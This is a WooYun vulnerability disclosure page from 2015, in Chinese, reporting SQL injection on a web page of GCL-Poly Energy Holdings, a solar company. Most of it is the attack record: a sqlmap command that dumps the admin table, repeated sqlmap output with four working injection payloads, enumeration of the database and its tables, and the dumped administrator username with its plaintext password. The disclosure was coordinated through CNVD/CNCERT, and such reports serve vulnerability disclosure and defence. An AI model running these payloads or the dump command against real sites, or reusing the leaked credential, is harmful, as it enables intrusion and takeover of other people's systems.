当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151176

漏洞标题：保利协鑫能源控股有限公司某處存在SQL插入攻擊（admin明文密碼泄露）

相关厂商：保利协鑫能源控股有限公司

漏洞作者： 路人甲

提交时间：2015-11-03 22:20

修复时间：2015-12-21 16:02

公开时间：2015-12-21 16:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-03： 细节已通知厂商并且等待厂商处理中
2015-11-06： 厂商已经确认，细节仅向厂商公开
2015-11-16： 细节向核心白帽子及相关领域专家公开
2015-11-26： 细节向普通白帽子公开
2015-12-06： 细节向实习白帽子公开
2015-12-21： 细节向公众公开

简要描述：

保利协鑫能源控股有限公司（恒生综合指数成份股：3800.HK ），是目前全球最大的太阳能光伏企业之一。保利协鑫致力于推动太阳能全球的普及应用，经过数年的开拓与发展，已经成为全球最大的光伏材料供应商，全球最专业的光伏系统方案提供专家；并在全球范围拥有多家大型光伏电站，拥有丰富的光伏电站运营管理经验。

详细说明：

地址：http://**.**.**.**/about_media_d.php?media_id=11

python sqlmap.py -u "http://**.**.**.**/about_media_d.php?media_id=11" -p media_id --technique=BETU --random-agent --batch -D gclpoly01 -T poly_admin -C admin_id,name,psw,user_group --dump

漏洞证明：

---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
current user:    'gclpoly01_f@localhost'
current user is DBA:    False
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
database management system users [1]:
[*] 'gclpoly01_f'@'localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
available databases [2]:
[*] gclpoly01
[*] information_schema
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
Database: gclpoly01
[29 tables]
+-----------------+
| poly_admin      |
| poly_bulletin   |
| poly_charity    |
| poly_citizen    |
| poly_company    |
| poly_ctype      |
| poly_department |
| poly_down       |
| poly_download   |
| poly_dtype      |
| poly_encyc      |
| poly_encycdt    |
| poly_event      |
| poly_history    |
| poly_honor      |
| poly_ir         |
| poly_job        |
| poly_joint      |
| poly_jtype      |
| poly_location   |
| poly_manage     |
| poly_media      |
| poly_news       |
| poly_policy     |
| poly_product    |
| poly_project    |
| poly_share      |
| poly_trust      |
| poly_user_group |
+-----------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
Database: gclpoly01
Table: poly_admin
[6 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| admin_id   | mediumint(8) |
| name       | varchar(200) |
| note       | text         |
| out_time   | datetime     |
| psw        | varchar(200) |
| user_group | int(4)       |
+------------+--------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: media_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: media_id=11' AND 7705=7705 AND 'Xdgw'='Xdgw
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: media_id=11' AND (SELECT 1968 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(1968=1968,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YaVa'='YaVa
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: media_id=11' AND (SELECT * FROM (SELECT(SLEEP(5)))Irgd) AND 'lzyM'='lzyM
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: media_id=-6365' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6b79694778515774676a4d6e7a6d6c52796b6c416348526d756c736b6c58636258614957754d5a4d,0x7171717071),NULL,NULL,NULL-- -
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.2.18, Apache 2.2.15
back-end DBMS: MySQL 5.0
Database: gclpoly01
Table: poly_admin
[1 entry]
+----------+-------+-------+------------+
| admin_id | name  | psw   | user_group |
+----------+-------+-------+------------+
| 1        | admin | di4ad | 1          |
+----------+-------+-------+------------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-11-06 16:01

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置. 同时发网站方处置。

最新状态：

暂无